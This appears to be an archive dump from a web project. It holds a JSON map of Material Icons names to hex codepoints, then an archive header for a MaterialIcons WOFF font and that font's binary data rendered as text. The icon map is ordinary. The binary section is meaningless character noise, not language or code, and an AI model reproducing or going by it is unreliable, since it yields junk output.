"playlist_add_check_circle": "E7E6", "playlist_add_check": "E065", "playlist_add": "E03B", "play_lesson": "F047", "play_for_work": "E906", "play_disabled": "EF6A", "play_circle_outline": "E039", "play_circle_filled": "E038", "play_circle_fill": "E038", "play_circle": "E1C4", "play_arrow": "E037", "plagiarism": "EA5A", "place": "E55F", "pix": "EAA3", "pivot_table_chart": "E9CE", "pinch": "EB38", "pin_invoke": "E763", "pin_end": "E767", "pin_drop": "E55E", "pin": "F045", "pie_chart_outlined": "E6C5", "pie_chart_outline": "F044", "pie_chart": "E6C4", "picture_in_picture_alt": "E911", "picture_in_picture": "E8AA", "picture_as_pdf": "E415", "piano_off": "E520", "piano": "E521", "php": "EB8F", "photo_size_select_small": "E434", "photo_size_select_large": "E433", "photo_size_select_actual": "E432", "photo_library": "E413", "photo_filter": "E43B", "photo_camera_front": "EF69", "photo_camera_back": "EF68", "photo_camera": "E412", "photo_album": "E411", "photo": "E410", "phonelink_setup": "E0DE", "phonelink_ring": "E0DD", "phonelink_off": "E327", "phonelink_lock": "E0DC", "phonelink_erase": "E0DB", "phonelink": "E326", "phone_paused": "E620", "phone_missed": "E61F", "phone_locked": "E61E", "phone_iphone": "E325", "phone_in_talk": "E61D", "phone_forwarded": "E61C", "phone_enabled": "E9CD", "phone_disabled": "E9CC", "phone_callback": "E649", "phone_bluetooth_speaker": "E61B", "phone_android": "E324", "phone": "E0CD", "phishing": "EAD7", "pets": "E91D", "pest_control_rodent": "F0FD", "pest_control": "F0FA", "personal_video": "E63B", "personal_injury": "E6DA", "person_search": "F106", "person_remove_alt_1": "EF67", "person_remove": "EF66", "person_pin_circle": "E56A", "person_pin": "E55A", "person_outline": "E7FF", "person_off": "E510", "person_add_disabled": "E9CB", "person_add_alt_1": "EF65", "person_add_alt": "EA4D", "person_add": "E7FE", "person": "E7FD", "perm_scan_wifi": "E8A9", "perm_phone_msg": "E8A8", "perm_media": "E8A7", "perm_identity": "E8A6", "perm_device_information": "E8A5", "perm_device_info": "E8A5", "perm_data_setting": "E8A4", "perm_contact_calendar": "E8A3", "perm_contact_cal": "E8A3", "perm_camera_mic": "E8A2", "percent": "EB58", "people_outline": "E7FC", "people_alt": "EA21", "people": "E7FB", "pentagon": "EB50", "pending_actions": "F1BB", "pending": "EF64", "pedal_bike": "EB29", "paypal": "EA8D", "payments": "EF63", "payment": "E8A1", "pause_presentation": "E0EA", "pause_circle_outline": "E036", "pause_circle_filled": "E035", "pause_circle": "E1A2", "pause": "E034", "pattern": "F043", "password": "F042", "party_mode": "E7FA", "park": "EA63", "paragliding": "E50F", "panorama_wide_angle_select": "EF62", "panorama_wide_angle": "E40F", "panorama_vertical_select": "EF61", "panorama_vertical": "E40E", "panorama_photosphere_select": "E9CA", "panorama_photosphere": "E9C9", "panorama_horizontal_select": "EF60", "panorama_horizontal": "E40D", "panorama_fisheye": "E40C", "panorama_fish_eye": "E40C", "panorama": "E40B", "pan_tool_alt": "EBB9", "pan_tool": "E925", "palette": "E40A", "paid": "F041", "pageview": "E8A0", "pages": "E7F9", "padding": "E9C8", "quora": "EA98", "quiz": "F04C", "quickreply": "EF6C", "quick_contacts_mail": "E0D0", "quick_contacts_dialer": "E0CF", "queue_play_next": "E066", "queue_music": "E03D", "queue": "E03C", "question_mark": "EB8B", "question_answer": "E8AF", "query_stats": "E4FC", "query_builder": "E8AE", "qr_code_scanner": "F206", "qr_code_2": "E00A", "qr_code": "EF6B", "rv_hookup": "E642", "running_with_errors": "E51D", "run_circle": "EF6F", "rule_folder": "F1C9", "rule": "F1C2", "rtt": "E9AD", "rsvp": "F055", "rss_feed": "E0E5", "rowing": "E921", "router": "E328", "route": "EACD", "rounded_corner": "E920", "roundabout_right": "EBA3", "roundabout_left": "EB99", "rotate_right": "E41A", "rotate_left": "E419", "rotate_90_degrees_cw": "EAAB", "rotate_90_degrees_ccw": "E418", "room_service": "EB49", "room_preferences": "F1B8", "room": "E8B4", "roofing": "F201", "roller_skating": "EBCD", "roller_shades_closed": "EC11", "roller_shades": "EC12", "rocket_launch": "EB9B", "rocket": "EBA5", "ring_volume": "E0D1", "rice_bowl": "F1F5", "reviews": "F054", "restore_page": "E929", "restore_from_trash": "E938", "restore": "E8B3", "restaurant_menu": "E561", "restaurant": "E56C", "restart_alt": "F053", "reset_tv": "E9D9", "request_quote": "F1B6", "request_page": "F22C", "report_problem": "E8B2", "report_off": "E170", "report_gmailerrorred": "F052", "report": "E160", "reply_all": "E15F", "reply": "E15E", "replay_circle_filled": "E9D8", "replay_5": "E05B", "replay_30": "E05A", "replay_10": "E059", "replay": "E042", "repeat_one_on": "E9D7", "repeat_one": "E041", "repeat_on": "E9D6", "repeat": "E040", "repartition": "F8E8", "reorder": "E8FE", "remove_shopping_cart": "E928", "remove_road": "EBFC", "remove_red_eye": "E417", "remove_moderator": "E9D4", "remove_from_queue": "E067", "remove_done": "E9D3", "remove_circle_outline": "E15D", "remove_circle": "E15C", "remove": "E15B", "remember_me": "F051", "refresh": "E5D5", "reduce_capacity": "F21C", "redo": "E15A", "redeem": "E8B1", "reddit": "EAA0", "recycling": "E760", "rectangle": "EB54", "record_voice_over": "E91F", "recommend": "E9D2", "recent_actors": "E03F", "receipt_long": "EF6E", "receipt": "E8B0", "real_estate_agent": "E73A", "read_more": "EF6D", "raw_on": "F050", "raw_off": "F04F", "rate_review": "E560", "ramp_right": "EB96", "ramp_left": "EB9C", "ramen_dining": "EA64", "railway_alert": "E9D1", "radio_button_unchecked": "E836", "radio_button_on": "E837", "radio_button_off": "E836", "radio_button_checked": "E837", "radio": "E03E", "radar": "F04E", "r_mobiledata": "F04D", "system_update_tv": "E8D7", "system_update_alt": "E8D7", "system_update": "E62A", "system_security_update_warning": "F074", "system_security_update_good": "F073", "system_security_update": "F072", "sync_problem": "E629", "sync_lock": "EAEE", "sync_disabled": "E628", "sync_alt": "EA18", "sync": "E627", "synagogue": "EAB0", "switch_video": "E41F", "switch_right": "F1D2", "switch_left": "F1D1", "switch_camera": "E41E", "switch_account": "E9ED", "switch_access_shortcut_add": "E7E2", "switch_access_shortcut": "E7E1", "swipe_vertical": "EB51", "swipe_up_alt": "EB35", "swipe_up": "EB2E", "swipe_right_alt": "EB56", "swipe_right": "EB52", "swipe_left_alt": "EB33", "swipe_left": "EB59", "swipe_down_alt": "EB30", "swipe_down": "EB53", "swipe": "E9EC", "swap_vertical_circle": "E8D6", "swap_vert_circle": "E8D6", "swap_vert": "E8D5", "swap_horizontal_circle": "E933", "swap_horiz": "E8D4", "swap_calls": "E0D7", "surround_sound": "E049", "surfing": "E515", "support_agent": "F0E2", "support": "EF73", "supervisor_account": "E8D3", "supervised_user_circle": "E939", "superscript": "F112", "sunny_snowing": "E819", "sunny": "E81A", "summarize": "F071", "subway": "E56F", "subtitles_off": "EF72", "subtitles": "E048", "subscriptions": "E064", "subscript": "F111", "subject": "E8D2", "subdirectory_arrow_right": "E5DA", "subdirectory_arrow_left": "E5D9", "style": "E41D", "stroller": "F1AE", "strikethrough_s": "E257", "streetview": "E56E", "stream": "E9E9", "straighten": "E41C", "straight": "EB95", "storm": "F070", "storefront": "EA12", "store_mall_directory": "E563", "store": "E8D1", "storage": "E1DB", "stop_screen_share": "E0E3", "stop_circle": "EF71", "stop": "E047", "sticky_note_2": "F1FC", "stay_primary_portrait": "E0D6", "stay_primary_landscape": "E0D5", "stay_current_portrait": "E0D4", "stay_current_landscape": "E0D3", "start": "E089", "stars": "E8D0", "star_rate": "F0EC", "star_purple500": "F09A", "star_outline": "F06F", "star_half": "E839", "star_border_purple500": "F099", "star_border": "E83A", "star": "E838", "stairs": "F1A9", "stadium": "EB90", "stacked_line_chart": "F22B", "stacked_bar_chart": "E9E6", "ssid_chart": "EB66", "square_foot": "EA49", "square": "EB36", "sports_volleyball": "EA31", "sports_tennis": "EA32", "sports_soccer": "EA2F", "sports_score": "F06E", "sports_rugby": "EA2E", "sports_motorsports": "EA2D", "sports_mma": "EA2C", "sports_martial_arts": "EAE9", "sports_kabaddi": "EA34", "sports_hockey": "EA2B", "sports_handball": "EA33", "sports_gymnastics": "EBC4", "sports_golf": "EA2A", "sports_football": "EA29", "sports_esports": "EA28", "sports_cricket": "EA27", "sports_basketball": "EA26", "sports_baseball": "EA51", "sports_bar": "F1F3", "sports": "EA30", "spoke": "E9A7", "splitscreen": "F06D", "spellcheck": "E8CE", "speed": "E9E4", "speaker_phone": "E0D2", "speaker_notes_off": "E92A", "speaker_notes": "E8CD", "speaker_group": "E32E", "speaker": "E32D", "spatial_tracking": "EBEA", "spatial_audio_off": "EBE8", "spatial_audio": "EBEB", "space_dashboard": "E66B", "space_bar": "E256", "spa": "EB4C", "south_west": "F1E5", "south_east": "F1E4", "south_america": "E7E4", "south": "F1E3", "source": "F1C4", "soup_kitchen": "E7D3", "sos": "EBF7", "sort_by_alpha": "E053", "sort": "E164", "solar_power": "EC0F", "social_distance": "E1CB", "soap": "F1B2", "snowshoeing": "E514", "snowmobile": "E503", "snowing": "E80F", "snowboarding": "E513", "snooze": "E046", "snippet_folder": "F1C7", "snapchat": "EA6E", "sms_failed": "E626", "sms": "E625", "smoking_rooms": "EB4B", "smoke_free": "EB4A", "smartphone": "E32C", "smart_toy": "F06C", "smart_screen": "F06B", "smart_display": "F06A", "smart_button": "F1C1", "slow_motion_video": "E068", "slideshow": "E41B", "sledding": "E512", "skip_previous": "E045", "skip_next": "E044", "skateboarding": "E511", "sip": "F069", "single_bed": "EA48", "sim_card_download": "F068", "sim_card_alert": "E624", "sim_card": "E32B", "signpost": "EB91", "signal_wifi_statusbar_null": "F067", "signal_wifi_statusbar_connected_no_internet_4": "F066", "signal_wifi_statusbar_4_bar": "F065", "signal_wifi_off": "E1DA", "signal_wifi_connected_no_internet_4": "F064", "signal_wifi_bad": "F063", "signal_wifi_4_bar_lock": "E1D9", "signal_wifi_4_bar": "E1D8", "signal_wifi_0_bar": "F0B0", "signal_cellular_off": "E1D0", "signal_cellular_null": "E1CF", "signal_cellular_nodata": "F062", "signal_cellular_no_sim": "E1CE", "signal_cellular_connected_no_internet_4_bar": "E1CD", "signal_cellular_connected_no_internet_0_bar": "F0AC", "signal_cellular_alt_2_bar": "EBE3", "signal_cellular_alt_1_bar": "EBDF", "signal_cellular_alt": "E202", "signal_cellular_4_bar": "E1C8", "signal_cellular_0_bar": "F0A8", "sign_language": "EBE5", "sick": "F220", "shutter_speed": "E43D", "shuffle_on": "E9E1", "shuffle": "E043", "shower": "F061", "show_chart": "E6E1", "shortcut": "F060", "short_text": "E261", "shopping_cart_checkout": "EB88", "shopping_cart": "E8CC", "shopping_basket": "E8CB", "shopping_bag": "F1CC", "shopify": "EA9D", "shop_two": "E8CA", "shop_2": "E19E", "shop": "E8C9", "shield_moon": "EAA9", "shield": "E9E0", "share_location": "F05F", "share_arrival_time": "E524", "share": "E80D", "severe_cold": "EBD3", "settings_voice": "E8C8", "settings_system_daydream": "E1C3", "settings_suggest": "F05E", "settings_remote": "E8C7", "settings_power": "E8C6", "settings_phone": "E8C5", "settings_overscan": "E8C4", "settings_input_svideo": "E8C3", "settings_input_hdmi": "E8C2", "settings_input_composite": "E8C1", "settings_input_component": "E8C0", "settings_input_antenna": "E8BF", "settings_ethernet": "E8BE", "settings_display": "E8BD", "settings_cell": "E8BC", "settings_brightness": "E8BD", "settings_bluetooth": "E8BB", "settings_backup_restore": "E8BA", "settings_applications": "E8B9", "settings_accessibility": "F05D", "settings": "E8B8", "set_meal": "F1EA", "sentiment_very_satisfied": "E815", "sentiment_very_dissatisfied": "E814", "sentiment_satisfied_alt": "E0ED", "sentiment_satisfied": "E813", "sentiment_neutral": "E812", "sentiment_dissatisfied": "E811", "sensors_off": "E51F", "sensors": "E51E", "sensor_window": "F1B4", "sensor_occupied": "EC10", "sensor_door": "F1B5", "send_to_mobile": "F05C", "send_time_extension": "EADB", "send_and_archive": "EA0C", "send": "E163", "sell": "F05B", "self_improvement": "EA78", "select_all": "E162", "segment": "E94B", "security_update_warning": "F05A", "security_update_good": "F059", "security_update": "F058", "security": "E32A", "search_off": "EA76", "search": "E8B6", "sd_storage": "E1C2", "sd_card_alert": "F057", "sd_card": "E623", "sd": "E9DD", "scuba_diving": "EBCE", "screenshot_monitor": "EC08", "screenshot": "F056", "screen_share": "E0E2", "screen_search_desktop": "EF70", "screen_rotation_alt": "EBEE", "screen_rotation": "E1C1", "screen_lock_rotation": "E1C0", "screen_lock_portrait": "E1BF", "screen_lock_landscape": "E1BE", "scoreboard": "EBD0", "score": "E269", "science": "EA4B", "school": "E80C", "schema": "E4FD", "schedule_send": "EA0A", "schedule": "E8B5", "scatter_plot": "E268", "scanner": "E329", "scale": "EB5F", "savings": "E2EB", "saved_search": "EA11", "save_as": "EB60", "save_alt": "E171", "save": "E161", "satellite_alt": "EB3A", "satellite": "E562", "sanitizer": "F21D", "sailing": "E502", "safety_divider": "E1CC", "safety_check": "EBEF", "type_specimen": "F8F0", "two_wheeler": "E9F9", "tv_off": "E647", "tv": "E333", "turned_in_not": "E8E7", "turned_in": "E8E6", "turn_slight_right": "EB9A", "turn_slight_left": "EBA4", "turn_sharp_right": "EBAA", "turn_sharp_left": "EBA7", "turn_right": "EBAB", "turn_left": "EBA6", "tungsten": "F07D", "tune": "E429", "tty": "F1AA", "tsunami": "EBD8", "try": "F07C", "troubleshoot": "E1D2", "trip_origin": "E57B", "trending_up": "E8E5", "trending_neutral": "E8E4", "trending_flat": "E8E4", "trending_down": "E8E3", "travel_explore": "E2DB", "translate": "E8E2", "transit_enterexit": "E579", "transgender": "E58D", "transform": "E428", "transfer_within_a_station": "E572", "transcribe": "F8EC", "tram": "E571", "train": "E570", "traffic": "E565", "track_changes": "E8E1", "toys": "E332", "tour": "EF75", "touch_app": "E913", "tornado": "E199", "topic": "F1C8", "tonality": "E427", "toll": "E8E0", "token": "EA25", "toggle_on": "E9F6", "toggle_off": "E9F5", "today": "E8DF", "toc": "E8DE", "title": "E264", "tire_repair": "EBC8", "tips_and_updates": "E79A", "timer_off": "E426", "timer_3_select": "F07B", "timer_3": "E424", "timer_10_select": "F07A", "timer_10": "E423", "timer": "E425", "timeline": "E922", "timelapse": "E422", "time_to_leave": "E62C", "tiktok": "EA7E", "thunderstorm": "EBDB", "thumbs_up_down": "E8DD", "thumb_up_off_alt": "E9F3", "thumb_up_alt": "E817", "thumb_up": "E8DC", "thumb_down_off_alt": "E9F2", "thumb_down_alt": "E816", "thumb_down": "E8DB", "thermostat_auto": "F077", "thermostat": "F076", "theaters": "E8DA", "theater_comedy": "EA66", "texture": "E421", "textsms": "E0D8", "text_snippet": "F1C6", "text_rotation_none": "E93F", "text_rotation_down": "E93E", "text_rotation_angleup": "E93D", "text_rotation_angledown": "E93C", "text_rotate_vertical": "E93B", "text_rotate_up": "E93A", "text_increase": "EAE2", "text_format": "E165", "text_fields": "E262", "text_decrease": "EADD", "terrain": "E564", "terminal": "EB8E", "temple_hindu": "EAAF", "temple_buddhist": "EAB3", "telegram": "EA6B", "taxi_alert": "EF74", "task_alt": "E2E6", "task": "F075", "tapas": "F1E9", "tap_and_play": "E62B", "takeout_dining": "EA74", "tag_faces": "E420", "tag": "E9EF", "tablet_mac": "E331", "tablet_android": "E330", "tablet": "E32F", "table_view": "F1BE", "table_rows": "F101", "table_restaurant": "EAC6", "table_chart": "E265", "table_bar": "EAD2", "tab_unselected": "E8D9", "tab": "E8D8", "usb_off": "E4FA", "usb": "E1E0", "upload_file": "E9FC", "upload": "F09B", "upgrade": "F0FB", "update_disabled": "E075", "update": "E923", "upcoming": "F07E", "unsubscribe": "E0EB", "unpublished": "F236", "unfold_more": "E5D7", "unfold_less": "E5D6", "undo": "E166", "unarchive": "E169", "umbrella": "F1AD", "u_turn_right": "EBA2", "u_turn_left": "EBA1", "vrpano": "F082", "vpn_lock": "E62F", "vpn_key_off": "EB7A", "vpn_key": "E0DA", "volunteer_activism": "EA70", "volume_up": "E050", "volume_off": "E04F", "volume_mute": "E04E", "volume_down_alt": "E79C", "volume_down": "E04D", "volcano": "EBDA", "voicemail": "E0D9", "voice_over_off": "E94A", "voice_chat": "E62E", "visibility_off": "E8F5", "visibility": "E8F4", "villa": "E586", "vignette": "E435", "view_week": "E8F3", "view_timeline": "EB85", "view_stream": "E8F2", "view_sidebar": "F114", "view_quilt": "E8F1", "view_module": "E8F0", "view_list": "E8EF", "view_kanban": "EB7F", "view_in_ar": "E9FE", "view_headline": "E8EE", "view_day": "E8ED", "view_cozy": "EB75", "view_compact_alt": "EB74", "view_compact": "E42B", "view_comfy_alt": "EB73", "view_comfy": "E42A", "view_comfortable": "E42A", "view_column": "E8EC", "view_carousel": "E8EB", "view_array": "E8EA", "view_agenda": "E8E9", "videogame_asset_off": "E500", "videogame_asset": "E338", "videocam_off": "E04C", "videocam": "E04B", "video_stable": "F081", "video_settings": "EA75", "video_library": "E04A", "video_label": "E071", "video_file": "EB87", "video_collection": "E04A", "video_camera_front": "F080", "video_camera_back": "F07F", "video_call": "E070", "vibration": "E62D", "vertical_split": "E949", "vertical_shades_closed": "EC0D", "vertical_shades": "EC0E", "vertical_distribute": "E076", "vertical_align_top": "E25A", "vertical_align_center": "E259", "vertical_align_bottom": "E258", "verified_user": "E8E8", "verified": "EF76", "vaping_rooms": "EBCF", "vape_free": "EBC6", "vaccines": "E138", "wysiwyg": "F1C3", "wrong_location": "EF78", "wrap_text": "E25B", "workspaces_outline": "EA0F", "workspaces_filled": "EA0D", "workspaces": "E1A0", "workspace_premium": "E7AF", "work_outline": "E943", "work_off": "E942", "work_history": "EC09", "work": "E8F9", "wordpress": "EA9F", "woo_commerce": "EA6D", "woman": "E13E", "wine_bar": "F1E8", "window": "F088", "wind_power": "EC0C", "wifi_tethering_off": "F087", "wifi_tethering_error_rounded": "F086", "wifi_tethering_error": "EAD9", "wifi_tethering": "E1E2", "wifi_protected_setup": "F0FC", "wifi_password": "EB6B", "wifi_off": "E648", "wifi_lock": "E1E1", "wifi_find": "EB31", "wifi_channel": "EB6A", "wifi_calling_3": "F085", "wifi_calling": "EF77", "wifi_2_bar": "E4D9", "wifi_1_bar": "E4CA", "wifi": "E63E", "width_wide": "F8F7", "width_normal": "F8F6", "width_full": "F8F5", "widgets": "E1BD", "where_to_vote": "E177", "wheelchair_pickup": "F1AB", "whatshot": "E80E", "whatsapp": "EA9C", "west": "F1E6", "weekend": "E16B", "wechat": "EA81", "webhook": "EB92", "web_stories": "E595", "web_asset_off": "E4F7", "web_asset": "E069", "web": "E051", "wc": "E63D", "wb_twilight": "E1C6", "wb_twighlight": "EA02", "wb_sunny": "E430", "wb_shade": "EA01", "wb_iridescent": "E436", "wb_incandescent": "E42E", "wb_cloudy": "E42D", "wb_auto": "E42C", "waving_hand": "E766", "waves": "E176", "waterfall_chart": "EA00", "water_drop": "E798", "water_damage": "F203", "water": "F084", "watch_off": "EAE3", "watch_later": "E924", "watch": "E334", "wash": "F1B1", "warning_amber": "F083", "warning": "E002", "warehouse": "EBB8", "wallpaper": "E1BC", "wallet_travel": "E8F8", "wallet_membership": "E8F7", "wallet_giftcard": "E8F6", "wallet": "F8FF", "youtube_searched_for": "E8FA", "yard": "F089", "zoom_out_map": "E56B", "zoom_out": "E900", "zoom_in_map": "EB2D", "zoom_in": "E8FF" }public/assets/fonts/material/MaterialIcons-Regular.woff000060400000471500151724235760017306 0ustar00wOFFs@MGDEFX SGPOSt  GSUBUȚ]e&OS/2V?` s"ccmapV4gZcvt nDgaspnglyfnR&headZ669hheaZ$hmtxZloca_m"4KmaxprL Qnamerlz5posts, 2 '( xڌX8dINdrۙ213.33333-33333[fLU*TEL7ାk‡?$YwUV#(Rpg~vg;ψ}zW8Yggo뮣V,=Gw.Z7p7/J6Xʴ WФG苅P&6[ d6$K=s*X8CzhO0ꘆ&r s?e#f/@0;zdijm i܃0֣ #`U'hkm̭l JK'Q4oZ F*D]fd@̆qj:-P8a69MZ/@q5P@1"!"G9MQ)Ldh<[D3y60hzQjQuI&|Atmhw}-= [;s &5qQ:yQzBq"gwSU? 3iD~D |L/P0F P!*oc@W1by=IlQxyF,0ޏPѪPK补Eq'V:laGU33(\ZOρ}5c}lm 09x#FS裎EWԯGzWo5g3c݃ݕ_sJu:XmU?R_SuW^(gɽG[#x\\-NoķĤPΓOxwrwbcAlj biE݇UyFLlLа:@hqyAŒh9ll|/%vAm -31>{CY܋M_B8΍.K(ph'XΰPE `R <5 Wf~%G^7 6G)6OMAwA8J<=&\SO#N8'Q>gS9|g0Ej< Pm dhx5ECIֿ=2lo1Gq=p911JU+B)\iF8~Ui%,݆|'Ih3GzMpr-tPeb9c&9kcWOijEN j/3eb r0[a=By p/F8%Y԰$as?2jқMQJ2xr-'iʇǭ&Cak<5d}LxrI}R~AijM ]kgY3w4“gHͱ21(1=DVA `bb2`l h_a PB5]+Ĉ8s8>.ou{>xLø[9<!}0Y]w0 ֳY묊Rn!ƞd=DĽ<wc53:CʫRBUgPBSQº.m3iMnYJ{m0cBݻ"I}|/,=h4,bu[2;v@uy*yF=Cqh0@0C=J)lxvMCY\/'KZcʘ'Y,)8m'f#QlWfdkØN|Kkr0E"(H}3ʣ|?k} x6F[P7 fGeu5"gjK<T|`vbSvFa6Y|Aw!17||vr}+wvaUtc۳/|s"9_YӳT u:GTԱj6E'əRMZqX'VSıH1.z=5w{ĝ! d$I LS `he;|zi;*΃sZ QD8Ќ@,:g/Q֐8+yh/f Hۤy [DI^tA p[CƧەĹ:SP-PމhL2ͷ Xh1W6iyNry mxa{]u Uļy]ȳ CWyYCzfINQ_ճ~>i+WZ98U4'#BVW]_)~&ANgjm0L;x$ÿ$X]^ZE KE+'{dstC^D] SE~;Qi}h6ȞY õ@%߷)%s+(hYNe \W?i&^ ƔV7ٸ# 2O,[֓+lcJu[Cҁc%=ht<B Q~q8u P/SlϤG0se=Ņ蛌Z3!>y#XIEhL:u W| =ҵ,?1$..DnP|a#m3l&徭1zi8@1r@jA=hZjA ڻ*=D _ގ8*[ѓjQչJ|frXB%. hȼ!h`\}!_S|ՎV{&D5 Go7\Kmkc5aS} < ߿nz^V ^No 4;e1h?d۫{"kKgXsP7q6]x˘(}Ƥ|>xǢ` H/<1[I_`L̊2ὰ0'_z'._vfn,v< 5y9SQG@7G35ҕXzD2^j'jocZ'8;0Z;,<`_Y_}_OQg+k45]KXL[;G*^ >yiO>2 D c2za4<џz~N؃!'AZ@݄v;A=DSQLV߇aJX(_JZ̧KE ^]]Kb bo{&*x*SO{PZ. ]P$ 1ic!~Nj2>*m(~š!z&r %dZoܽL~S h콊 -!a^=|B!N(mD;$#mtz0b٣'| 9XY͵=\G9^z7= ([5x%9Bv狈}Dddږxn8kS<>2b+ ٓJꉗ;h$}1VR?F9ZcWP/-hiB\ *"ե7kˮ5T &7|m>ݒו>CۥCLh75A+[{ホD7XnGRlo ,P,TŸiLy f%"JhkK9zVen&_t *Y/{owط-uwsIy*$ Q۾Vhr,AKARoĨ[;Sۯo #A@i-mBT2Uw"fLkdbD|a-sms6YJ#t.k/xF] w}WBuꧨ[PwV9ꬅv` z_1'L5'jWbk x6OCPЗ#?yj4[#T ;fM:[vW3IɣZL!j"ocK-`7" ҦV?_(ގ?OZDe84x UE6+Z4.ʜۤsX`Ŗ2ɗ_\wr$%! ZQu' QW@|GM@#h0o*b]"l h.sB-g͍m_YgWgj%ZVe4@)CѻFb~yOOZkO cxO1?C%܁j'sxOo܉(o g"b ZyB^>aPM 9Z:dAvTӶ(7{P'X?KY췛?ć`%RmCQ/EDK)]tw$3 kkM1T5fSb7na.] )G4OyWS< WR pB8R(n4Ԫs<0s#^J KG8xGGGVMy'h~CD/C0 ߅tM#bo*4NWyr- qŔ|fo 24)E7xA#.@FBg{1&9KAӼQa:zg>8N"{Ll$1J- ,Qїd{Zj;|[TWgQrZ@[Mͨ׋(˻±lU=θrT%Jѳ$ u$5[97CCK>RX YpBE[MB5L7<()T;U+{VƗ|sEl)h3̧9q>1"{:<m$/ דO&d/P]JUo!')h>5ľ-UgYs8v.\0G:]#R_Ek}$/!WzD%3%AR|Mm10DTƳއPI9ڲE+vϐmF Jg?{X>j3F`F=Z_ IC/&'&5ɩɉ줕gOϫUoum_ڎyejGfj^=[UnS=:ƛxAc,b+1xphVy&j)ԅ;M骣Y2' w@iۛ# }+џI/D2g~,3B4-ݤ=Eb)lgOXMO;phBdۧ3b|D4>KfV'k~>I#&^KHD b֚Ҡx7O\yQkPc|y?g=X)?AҲCHGHCb-LNAM;,);f}-r8b-wAK5+PԺcAʷщ,ޝZUC2}͈ 4#>F7\Kk̡f8~SHwB\|_>g%^FmA3m^1OHkGit8Ambq|| [̲>rU[z`qOQ86ghһsٌ_5t; V dr8օLח` {c׵q|fGاh{0 Ө/lHAȾxI1oތJkK'D'~c| e6SQWbdj%#ѴQ$enеg1\chr|& PMB#bS2sp?ٸǽ 'BԀjJYF ϚzY2b9*ṕoн&>6gs92xp.YX)]=ET |+zby+ ^|;VdYZ`'p+m: 2ҕ]aOA^to>٪i*~ a Ϲ;Q)b?4#m`˦Μ*W-8}lSg\fN;z_o{QGyHLI;^b0{N٬5F}>K]u]]R"uSMOlBΒ}Rbr1b }F:Mǝ{˜2x0qvJlƅ,uH?¼ۏ( wU9$4Jxvߏ <3a)d|>ryBV"cmidcʙzb[;UhdH0v/w+VS&\N<$1P)KItJeo/| >g5C<ԭ,ǽ:`A0;өCz?̃l/[\?=m7"֡6y-)'[m">N/zH02`k;NwCRK-QDK8wx`7dpAs|s`rIlv@a>xi#Թd)q1ta> jG9W-u /錬낸 ۟Ƨ@17ۣ,Ũ2u6UGs|4#>Sh4 #-ѱS$x"J9o1X9yCZ~ԨMB^x@o7 Κi.- WdJ8( ݩPfPݟ"ٖs|8 T,.WA|8`]<81^N62\?ڟyx;˼u(o{OH^ݱ& ֕ϾFҘ9BޒamEbOG-+u]akxU4ߓ?G9: Dh9h7(RkI㬮m~?Ŧ.wuHH7L lkfaR+Q+Е|@`)8'Byng˿!|9NI54&?ݢK.-9P[j+GYM$x_ K#eX Q$i56OgZ$xq e̎ja^cy <-@#vO߶_!6.$o)<~:A +woE`!3h?^DW{ϵWITb\iOT8YbO88?~ڶaT0gJ3#zd)؀zo#|nI`i]HxV+B⯻ 6VE>CmfL:[moU$YneYԻSw&@c 3h 3bj i L+D:Fda6WPfL#/ҵHk"Nۼ$9-`O~TYVMދ9a'Fl|>^~N9 3(+Q7-*+ZG,Uhan 融 AJ VUV̦<`[9 '9`(O{[kK ̇www[-f{Men4WM 5MjI/aj_ݪ.Qg"uR{]fM^*/IrEUb^'b@#qǹGgssY,r:1fT" i${1e2He3zm#O>ṟ7'\%-OB}{^zCTyu8Bzň3h1!Zz8:/w_[$?Kf=FZuٌn}Uaʾ1$#e؜|NSYYݐ9~7suY޽AW'߄z >=Zv~/ft0y+ ^(FCq7iaXwq8MS^p]gss!~܅pac!؇>NwfZphˆc:7W͕hLOgι|Ḟ k= gr4^K<gC Z\8 K1c8|1ۖ2{;,ePy\'W ^q^\!VQb\UFw{;\stNpf9MV'KTsIjR'wker@'yrlŽqHib%Csqosw/v7ܓ:O8;w::W89kEΑNp<܍kp>kޞ7~ ~PZZ<c</!%pQc--! 4`=jɶZsKm4#K."zEJ>1ϐ+0Hznzocz.bW")CY[E;`rd4zκ(9~;,6_]VY<"ٿzE^U =.sWB%gZX_Ҽh`ЏӜ51]gZ'⯇l婨P /Ӝτܦ^ u3+lʩ#Y PH;µzPoY`l)s<: cWAWV31O@6NFҁTTu}VEKAfT LizF0ph?r\YbIz~qF1,Nj2A` U:H"9L$~w{ýڽ,_y[stt.r;|g39p^܎p5BXt;߹"{.a~: -zh 9@0`r %NJ;m¤x2-n3U)Zh7ڹ5rC`PcbyV>7 ʥm#lxNg<#/^ X'-O֎j'UVUWTWQ^wśeX;Ѻhq4#pc<<6Õ5*GW+}n`z{]5%z.6yg{z#gGvl5jsY`75K[zDǵVjZNQsaAK,-|'bMljqX(E">FWgs>NZgss3ۙ!^Q/ĔvjGrVƜ׋јT! Hz4=_jR/cYV8!ۤD14*e1}"LD"]2dO A5̹򞕯ğ 2U_ ɵNnZMދdiUAV@xR>y}K't͔/!yAKu2hVI~xfֱ,@e+s-*V)oPø8G8@FWe ?`$ 'FS]ZʼaDb* סB\H! ;,G*zӔsڅvorp7yQan?+3Y,s9G;C؏nl'tZ.^j_gC]@ CrlP3wَqr/Abق6-TD_鞗ʑ UwY|Kq$[ /({-[U|M4FTv([Yj/ 9nEsƱϘ͆꽩r٨pO읆^oP+pU!\42nZZCiomc{)eXQ>x P-y:ybSЛLeyT,AK~e<5rkv傶-W"a:eh/d`eQ-cWHK~M7}3o<ŘbA`D,^?Ô]`YpA@_]9+tàl rQ ԱajG3F>Tڭ̺Cieow2t?D5ms&ZѩM݉ <a:,зg2O0Yٿq!+γT TϽ?o/7gqKQvroʛMR,0z^ZR2u:[T'9jL%1y!73og ŽN]lr@׽nvw׹"w;ݍ۝mjgs3ݩa\ ?ǼyK>WX(bha\7|hvG|*剜&٪A) ;>1y/k suzu#iV/vA{1{ CIr>8׷!{A ϯ %'ٶ81E"CgZOYiOE/-O5,є<;%{'FfFyt=q,{1Yj/AڠE6|fҕX3 I>y= ˕Q)st92c|lOoD-C7go$_hL;F\˾J* T'ZΛh qf G 0*8W#*aa(=?ihQb}#=:[v)6o JT'B3Y])y _OrODܙ׹-]UIJ~>zcKWZZGZgX^pؑ|EC} LUz àj;b[/@߁hJ*.k#x;/j?ŽV8@* ICLGߧ~>kȈ7 y8OuSW[uZV%jƕɻ 